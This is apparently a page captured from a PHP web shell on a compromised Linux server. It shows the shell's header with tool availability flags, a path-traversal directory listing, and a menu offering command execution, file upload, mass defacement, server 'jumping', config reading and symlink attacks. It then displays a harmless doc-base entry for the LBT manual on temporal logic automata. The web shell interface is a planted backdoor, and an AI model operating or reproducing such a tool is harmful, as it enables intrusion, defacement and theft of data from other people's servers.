OFF | cURL : OFF | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /var/../usr/share/iso-codes/../update-notifier/../zoneinfo/../php7.4-opcache/../gcc/../doc-base/ |
Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
---|
Document: lbt Title: LBT Manual Author: Marko Mäkelä <msmakela@tcs.hut.fi> Abstract: This manual describes how to use lbt, a tool to translate linear temporal logic formulas into generalized Büchi automata. Section: Science/Mathematics Format: HTML Index: /usr/share/doc/lbt/index.html Files: /usr/share/doc/lbt/*.html